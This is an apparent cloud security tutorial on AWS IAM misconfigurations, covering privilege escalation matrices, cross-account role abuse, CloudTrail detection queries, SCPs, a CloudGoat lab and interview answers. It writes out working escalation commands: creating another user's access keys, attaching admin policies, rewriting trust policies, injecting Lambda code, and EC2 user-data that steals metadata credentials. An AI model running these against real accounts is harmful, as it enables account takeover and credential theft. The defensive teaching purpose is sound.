Cloud IAM Misconfigurations and Attack Paths
TL;DR: IAM is the most critical cloud security control and the most commonly misconfigured. Over-permissive policies, assumable roles, and poor credential hygiene create attack paths from initial access to full account compromise. Understanding these patterns is essential for both offense and defense.
Table of Contents
Open Table of Contents
Quick Reference
Common IAM Misconfigurations
| Misconfiguration | Risk Level | Attack Vector |
|---|---|---|
"Action": "*" | Critical | Full account access |
"Resource": "*" | High | Unintended resource access |
| Wildcard principals | Critical | Unauthorized assume role |
| Missing MFA condition | High | Stolen credentials |
| No permission boundaries | Medium | Privilege escalation |
| Long-lived access keys | High | Credential theft |
| Over-permissioned EC2 roles | High | Metadata service abuse |
AWS IAM Privilege Escalation Matrix
| You Have | You Can Get | Technique |
|---|---|---|
| iam:CreateAccessKey | Persistent access | Create key for any user |
| iam:CreateLoginProfile | Console access | Create password for user |
| iam:UpdateLoginProfile | Account takeover | Reset user password |
| iam:AttachUserPolicy | Admin | Attach AdministratorAccess |
| iam:PutUserPolicy | Admin | Add inline admin policy |
| iam:CreatePolicyVersion | Admin | Update policy to grant more |
| sts:AssumeRole | Role’s permissions | Assume powerful role |
| lambda:UpdateFunctionCode | Role’s permissions | Inject code, get role creds |
| ec2:RunInstances + iam:PassRole | Role’s permissions | Launch instance with role |
How IAM Fails in Production
The Development-to-Production Pipeline Problem
┌─────────────────────────────────────────────────────────────┐
│ HOW IAM POLICIES BECOME OVER-PERMISSIVE │
├─────────────────────────────────────────────────────────────┤
│ │
│ 1. Development Phase │
│ Developer: "I keep getting Access Denied..." │
│ Policy: "Action": "*", "Resource": "*" │
│ "We'll fix it later" │
│ │
│ 2. Testing Phase │
│ "It works! Ship it!" │
│ Overly permissive policy goes to staging │
│ │
│ 3. Production │
│ "Don't touch what works" │
│ Policy deployed with wildcards │
│ │
│ 4. Years Later │
│ Nobody knows why it has these permissions │
│ Nobody wants to break production by changing it │
│ │
└─────────────────────────────────────────────────────────────┘
Real-World Statistics
From cloud security assessments:
- 76% of organizations have overly permissive cloud policies
- 33% of Lambda functions have excessive privileges
- 40% of S3 buckets have policy issues
- 85% of accounts lack MFA on root
Common Patterns That Lead to Compromise
| Pattern | Why It Happens | Why It’s Dangerous |
|---|---|---|
| Copy-paste policies | Reusing without understanding | May include unnecessary permissions |
| AWS managed policies | Seem “official” so trusted | Often too broad for specific use |
| Service-linked roles | AWS creates them | Can have powerful permissions |
| Emergency access | Created in crisis | Never cleaned up |
| Development leftovers | ”Temporary” access | Becomes permanent |
Over-Permissive Roles
Dangerous Policy Patterns
Pattern 1: The Admin Role “For Developers”
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
Why it exists: “Developers need to do anything” Attack impact: Complete account takeover
Pattern 2: Wildcard Service Access
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:*",
"ec2:*",
"iam:*"
],
"Resource": "*"
}
]
}
Why it exists: “They need S3 access”
Attack impact: iam:* allows privilege escalation
Pattern 3: Assumable by Anyone
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": "sts:AssumeRole"
}
]
}
Why it exists: Configuration mistake Attack impact: Anyone can assume this role
Pattern 4: Missing Conditions
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::123456789012:root"
},
"Action": "sts:AssumeRole"
}
]
}
Missing: Condition for MFA, source IP, etc.
Attack impact: Stolen credentials = assumed role
Identifying Over-Permissive Policies
# AWS CLI - Find policies with wildcards
aws iam list-policies --scope Local --query 'Policies[*].[PolicyName,Arn]' --output table
# For each policy, get the default version
aws iam get-policy-version \
--policy-arn arn:aws:iam::123456789012:policy/MyPolicy \
--version-id v1 \
--query 'PolicyVersion.Document'
# Search for wildcards
aws iam get-policy-version ... | grep -E '"Action":\s*"\*"|"Resource":\s*"\*"'
# Use IAM Access Analyzer for external access
aws accessanalyzer list-findings --analyzer-arn <analyzer-arn>
AWS Managed Policies to Audit
| Policy | Risk | Why |
|---|---|---|
| AdministratorAccess | Critical | Full account control |
| PowerUserAccess | High | All services except IAM |
| IAMFullAccess | Critical | Complete IAM control |
| AmazonEC2FullAccess | High | Can launch with roles |
| AWSLambdaFullAccess | High | Code execution |
Privilege Escalation Paths
IAM-Based Escalation
Path 1: Create Access Key
# If you have iam:CreateAccessKey for another user
aws iam create-access-key --user-name admin-user
# Now you have admin-user's credentials
export AWS_ACCESS_KEY_ID=AKIA...
export AWS_SECRET_ACCESS_KEY=...
Required permission: iam:CreateAccessKey
Target: User with more permissions
Path 2: Attach Policy
# If you have iam:AttachUserPolicy
aws iam attach-user-policy \
--user-name your-user \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# Now you're admin
Required permission: iam:AttachUserPolicy (or AttachRolePolicy)
Impact: Self-escalation to admin
Path 3: Create Policy Version
# If you have iam:CreatePolicyVersion on a policy attached to you
aws iam create-policy-version \
--policy-arn arn:aws:iam::123456789012:policy/MyPolicy \
--policy-document file://admin-policy.json \
--set-as-default
# admin-policy.json grants you more permissions
Required permission: iam:CreatePolicyVersion
Impact: Modify your own permissions
Path 4: Update Assume Role Policy
# If you have iam:UpdateAssumeRolePolicy
aws iam update-assume-role-policy \
--role-name AdminRole \
--policy-document '{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {"AWS": "arn:aws:iam::123456789012:user/attacker"},
"Action": "sts:AssumeRole"
}]
}'
# Now assume the admin role
aws sts assume-role --role-arn arn:aws:iam::123456789012:role/AdminRole --role-session-name pwned
Service-Based Escalation
Path 5: Lambda Code Update
# If you have lambda:UpdateFunctionCode
# Create malicious code that uses Lambda's role
import boto3
def handler(event, context):
iam = boto3.client('iam')
# Use Lambda's role to escalate
iam.attach_user_policy(
UserName='attacker',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
# Update function with your code
aws lambda update-function-code \
--function-name HighPrivFunction \
--zip-file fileb://evil.zip
# Invoke it
aws lambda invoke --function-name HighPrivFunction output.json
Required permissions: lambda:UpdateFunctionCode, lambda:InvokeFunction
Impact: Gain Lambda execution role’s permissions
Path 6: EC2 Instance with Role
# If you have ec2:RunInstances + iam:PassRole
aws ec2 run-instances \
--image-id ami-12345678 \
--instance-type t2.micro \
--iam-instance-profile Name=AdminRole \
--user-data '#!/bin/bash
# Steal role credentials from metadata
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole
'
Required permissions: ec2:RunInstances, iam:PassRole
Impact: Get instance role credentials
Privilege Escalation Detection
-- CloudTrail query for escalation attempts
SELECT
eventTime,
userIdentity.arn,
eventName,
requestParameters
FROM cloudtrail_logs
WHERE eventName IN (
'CreateAccessKey',
'AttachUserPolicy',
'AttachRolePolicy',
'PutUserPolicy',
'PutRolePolicy',
'CreatePolicyVersion',
'UpdateAssumeRolePolicy',
'UpdateFunctionCode'
)
AND errorCode IS NULL
ORDER BY eventTime DESC
Cross-Account Attacks
How Cross-Account Access Works
┌────────────────────────┐ ┌────────────────────────┐
│ Account A (Victim) │ │ Account B (Attacker) │
│ │ │ │
│ ┌──────────────────┐ │ │ ┌──────────────────┐ │
│ │ IAM Role │ │ │ │ IAM User │ │
│ │ (CrossAcctRole) │◄─┼─────┼──│ (attacker) │ │
│ └──────────────────┘ │ │ └──────────────────┘ │
│ │ │ │
│ Trust Policy: │ │ Has permission: │
│ "Principal": { │ │ sts:AssumeRole │
│ "AWS": "Account B" │ │ │
│ } │ │ │
└────────────────────────┘ └────────────────────────┘
Misconfigured Cross-Account Roles
Vulnerability 1: Wildcard Principal
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": "sts:AssumeRole"
}
]
}
Impact: ANY AWS account can assume this role
Vulnerability 2: Too-Broad Account Trust
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::123456789012:root"
},
"Action": "sts:AssumeRole"
}
]
}
Issue: Trusts entire account, not specific role/user Impact: Any principal in that account can assume
Exploiting Cross-Account Access
# Enumerate assumable roles from your account
# Use tools like enumerate-iam or pacu
# Assume discovered role
aws sts assume-role \
--role-arn arn:aws:iam::VICTIM_ACCOUNT:role/CrossAccountRole \
--role-session-name attack
# Use returned credentials
export AWS_ACCESS_KEY_ID=...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
# Now operating as role in victim account
aws sts get-caller-identity
Securing Cross-Account Access
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::123456789012:role/SpecificRole"
},
"Action": "sts:AssumeRole",
"Condition": {
"StringEquals": {
"sts:ExternalId": "UniqueSecretId123"
},
"Bool": {
"aws:MultiFactorAuthPresent": "true"
},
"IpAddress": {
"aws:SourceIp": "10.0.0.0/8"
}
}
}
]
}
Best practices:
- Trust specific roles, not accounts
- Require ExternalId for third parties
- Require MFA when possible
- Restrict source IP when appropriate
Detection and Prevention
Prevention Controls
1. Service Control Policies (SCPs)
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenyIAMChangesWithoutMFA",
"Effect": "Deny",
"Action": [
"iam:CreateUser",
"iam:DeleteUser",
"iam:AttachUserPolicy",
"iam:CreateAccessKey"
],
"Resource": "*",
"Condition": {
"BoolIfExists": {
"aws:MultiFactorAuthPresent": "false"
}
}
},
{
"Sid": "PreventPrivilegeEscalation",
"Effect": "Deny",
"Action": [
"iam:CreatePolicyVersion",
"iam:SetDefaultPolicyVersion",
"iam:AttachUserPolicy",
"iam:AttachRolePolicy"
],
"Resource": "*",
"Condition": {
"StringNotEquals": {
"aws:PrincipalArn": "arn:aws:iam::*:role/SecurityAdmin"
}
}
}
]
}
2. Permission Boundaries
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:*",
"dynamodb:*",
"lambda:*"
],
"Resource": "*"
},
{
"Effect": "Deny",
"Action": [
"iam:*",
"organizations:*",
"cloudtrail:DeleteTrail",
"cloudtrail:StopLogging"
],
"Resource": "*"
}
]
}
Apply as permission boundary to all developer roles.
3. AWS Config Rules
# config-rules.yaml
Resources:
IAMNoWildcardPolicy:
Type: AWS::Config::ConfigRule
Properties:
ConfigRuleName: iam-no-wildcard-policy
Source:
Owner: AWS
SourceIdentifier: IAM_POLICY_NO_STATEMENTS_WITH_ADMIN_ACCESS
IAMUserMFAEnabled:
Type: AWS::Config::ConfigRule
Properties:
ConfigRuleName: iam-user-mfa-enabled
Source:
Owner: AWS
SourceIdentifier: IAM_USER_MFA_ENABLED
IAMNoInlinePolicy:
Type: AWS::Config::ConfigRule
Properties:
ConfigRuleName: iam-no-inline-policy
Source:
Owner: AWS
SourceIdentifier: IAM_NO_INLINE_POLICY_CHECK
Detection Queries
CloudTrail Athena Queries
-- Detect privilege escalation attempts
SELECT
eventtime,
useridentity.arn as actor,
eventsource,
eventname,
requestparameters,
errorcode
FROM cloudtrail_logs
WHERE eventname IN (
'AttachUserPolicy',
'AttachRolePolicy',
'PutUserPolicy',
'PutRolePolicy',
'CreateAccessKey',
'UpdateAssumeRolePolicy',
'CreatePolicyVersion'
)
AND eventtime > date_add('day', -1, current_date)
ORDER BY eventtime DESC;
-- Detect cross-account role assumption
SELECT
eventtime,
useridentity.arn as assumer,
requestparameters.rolearn as role_assumed,
sourceipaddress,
useridentity.accountid as source_account
FROM cloudtrail_logs
WHERE eventname = 'AssumeRole'
AND useridentity.accountid != 'YOUR_ACCOUNT_ID'
ORDER BY eventtime DESC;
GuardDuty Findings to Monitor
| Finding Type | Indicates |
|---|---|
| UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration | Creds used outside EC2 |
| Policy:IAMUser/RootCredentialUsage | Root account usage |
| Recon:IAMUser/UserPermissions | Permission enumeration |
| PrivilegeEscalation:IAMUser/AdministrativePermissions | Policy change for escalation |
Hands-On Lab
Lab: Exploit IAM Misconfiguration
Setup: Use CloudGoat or similar AWS vulnerable-by-design environment.
Task 1: Enumerate Your Permissions
# Check who you are
aws sts get-caller-identity
# Enumerate permissions (manual)
aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query 'Arn' --output text | cut -d'/' -f2)
# Or use enumerate-iam tool
pip install enumerate-iam
enumerate-iam --access-key AKIA... --secret-key ...
Task 2: Identify Escalation Paths
# Check if you can create access keys
aws iam list-users
aws iam create-access-key --user-name target-user
# Check if you can attach policies
aws iam attach-user-policy --user-name your-user --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# Check assumable roles
aws iam list-roles --query 'Roles[*].AssumeRolePolicyDocument'
Task 3: Execute Privilege Escalation
# If you have iam:AttachUserPolicy
aws iam attach-user-policy \
--user-name your-user \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# Verify escalation
aws iam list-attached-user-policies --user-name your-user
Task 4: Detect the Attack
# Query CloudTrail for your activity
aws cloudtrail lookup-events \
--lookup-attributes AttributeKey=Username,AttributeValue=your-user \
--query 'Events[*].{Time:EventTime,Event:EventName}'
Interview Questions & Answers
Basic Questions
Q1: What are the most common AWS IAM misconfigurations you look for?
Strong Answer: “I look for several high-risk patterns:
1. Overly permissive policies:
\"Action\": \"*\"or\"Resource\": \"*\"- AWS managed policies that are too broad for the use case
2. Dangerous IAM permissions:
iam:*on any role that doesn’t absolutely need itiam:PassRolewithout resource restrictionssts:AssumeRolewith wildcards3. Trust policy issues:
- Wildcard principals (
\"Principal\": \"*\")- Missing conditions (no MFA, no ExternalId)
- Trusting entire accounts instead of specific roles
4. Credential hygiene:
- Long-lived access keys instead of roles
- Root account access keys existing
- MFA not enforced
I use tools like IAM Access Analyzer, custom Config rules, and manual policy review to identify these.”
Q2: Explain how privilege escalation works in AWS IAM.
Strong Answer: “IAM privilege escalation occurs when a user with limited permissions leverages specific IAM permissions to gain higher privileges.
Common paths:
1. Policy modification:
iam:AttachUserPolicy- Attach admin policy to yourselfiam:PutUserPolicy- Add inline admin policyiam:CreatePolicyVersion- Modify policy attached to you2. Credential access:
iam:CreateAccessKey- Create keys for higher-priv useriam:UpdateLoginProfile- Reset another user’s password3. Role assumption:
iam:UpdateAssumeRolePolicy- Allow yourself to assume powerful rolests:AssumeRole- Assume misconfigured role4. Service-based:
lambda:UpdateFunctionCode+ invoke = get Lambda role’s credsec2:RunInstances+iam:PassRole= get EC2 role’s credsThe key insight is that permissions to modify IAM are as dangerous as the permissions they can grant. A user with
iam:AttachUserPolicyeffectively has admin access.”
Intermediate Questions
Q3: How would you detect IAM-based privilege escalation?
Strong Answer: “I implement detection at multiple layers:
1. CloudTrail monitoring: Alert on high-risk API calls:
AttachUserPolicy,AttachRolePolicyPutUserPolicy,PutRolePolicyCreatePolicyVersionCreateAccessKey(especially for other users)UpdateAssumeRolePolicy2. GuardDuty:
- Enable
PrivilegeEscalationfinding types- Monitor
UnauthorizedAccessfindings3. Custom detection rules:
-- Alert when non-admin modifies IAM SELECT * FROM cloudtrail WHERE eventName LIKE '%Policy%' AND userIdentity.arn NOT LIKE '%SecurityAdmin%'4. AWS Config:
- Rule to detect policies with admin access
- Rule to detect inline policies (harder to audit)
5. Behavioral baseline:
- Alert when user performs IAM actions they’ve never done
- Alert when role is assumed from unusual location
For response, I’d have runbooks to immediately revoke the escalated permissions and investigate the full attack chain.”
Q4: A developer says they need admin access to do their job. How do you handle this?
Strong Answer: “I approach this collaboratively:
1. Understand the actual requirement:
- What specific actions do they need?
- What resources do they need to access?
- Is this ongoing or one-time?
2. Apply least privilege:
- Create custom policy with only necessary permissions
- Scope resources to specific ARNs, not wildcards
- Add conditions (MFA, source IP) where appropriate
3. Use time-bounded access:
- For one-time tasks: temporary credentials via STS
- For ongoing: regular access review and certification
4. Implement guardrails:
- Permission boundaries to cap maximum privileges
- SCPs to prevent dangerous actions
- Require MFA for sensitive operations
5. Provide alternatives:
- Pre-built automation that does the task with elevated privileges
- Approval workflow for sensitive operations
- Separate accounts for development vs production
The goal is enabling their work while maintaining security. Usually ‘I need admin’ translates to ‘I need these specific 10 permissions.’”
Advanced Questions
Q5: Design an IAM security architecture for a multi-account AWS organization.
Strong Answer: “I’d implement a layered approach:
Account Structure:
Management Account (billing, SCPs only) ├── Security OU │ ├── Log Archive (centralized CloudTrail) │ ├── Security Tooling (GuardDuty, Security Hub) │ └── Audit (read-only access to all accounts) ├── Infrastructure OU │ └── Shared Services (DNS, CI/CD) └── Workloads OU ├── Production └── Non-ProductionIAM Controls:
1. No IAM users in workload accounts:
- All human access via SSO/federation
- Assume roles from identity account
- Time-bounded sessions
2. Service Control Policies:
- Prevent disabling CloudTrail/GuardDuty
- Require IMDSv2 for EC2
- Prevent leaving organization
- Restrict regions if needed
3. Permission Boundaries:
- All developer-created roles must have boundary
- Boundary prevents IAM escalation
4. Centralized IAM pipeline:
- IAM changes via Infrastructure-as-Code
- Require security review for policy changes
- Automated policy analysis in CI/CD
5. Monitoring:
- Centralized CloudTrail in Log Archive
- GuardDuty delegated admin in Security account
- Automated alerting on IAM changes
6. Break-glass procedure:
- Emergency access role with heavy logging
- Requires approval and has time limit
- Post-incident review required”
Q6: How would you investigate a suspected IAM credential compromise?
Strong Answer: “I follow a structured incident response:
1. Immediate containment:
- Disable compromised access keys
- Revoke active sessions (attach deny-all inline policy)
- Don’t delete - preserve for investigation
2. Scope determination:
- What permissions did the credential have?
- What’s the blast radius?
3. CloudTrail investigation:
SELECT * FROM cloudtrail WHERE userIdentity.accessKeyId = 'AKIA...' OR userIdentity.arn LIKE '%compromised-user%' ORDER BY eventTime4. Look for:
- Reconnaissance:
List*,Get*,Describe*calls- Privilege escalation: IAM modification attempts
- Persistence: New users, access keys, roles created
- Lateral movement: AssumeRole to other accounts
- Data access: S3 GetObject, secrets access
- Data exfiltration: Large data transfers
5. Check for persistence:
- New access keys on any user
- New IAM users
- Modified trust policies on roles
- Lambda functions or EC2 instances launched
6. Remediation:
- Remove any attacker persistence
- Rotate potentially exposed secrets
- Update policies to prevent recurrence
7. Post-incident:
- Document timeline and impact
- Update detection rules
- Conduct lessons learned”
Glossary
| Term | Definition |
|---|---|
| IAM | Identity and Access Management |
| Principal | Entity that can take actions (user, role, service) |
| Policy | Document defining permissions |
| Trust Policy | Defines who can assume a role |
| Permission Boundary | Maximum permissions a role can have |
| SCP | Service Control Policy (org-level guardrail) |
| AssumeRole | Getting temporary credentials for a role |
| ExternalId | Secret for third-party role assumption |
What’s Next
Continue building your cloud security expertise:
- Cloud Fundamentals - AWS basics
- Securing CI/CD Pipelines - Secure deployment
- Detection Engineering - Build cloud detections
Questions or feedback? Open an issue on GitHub.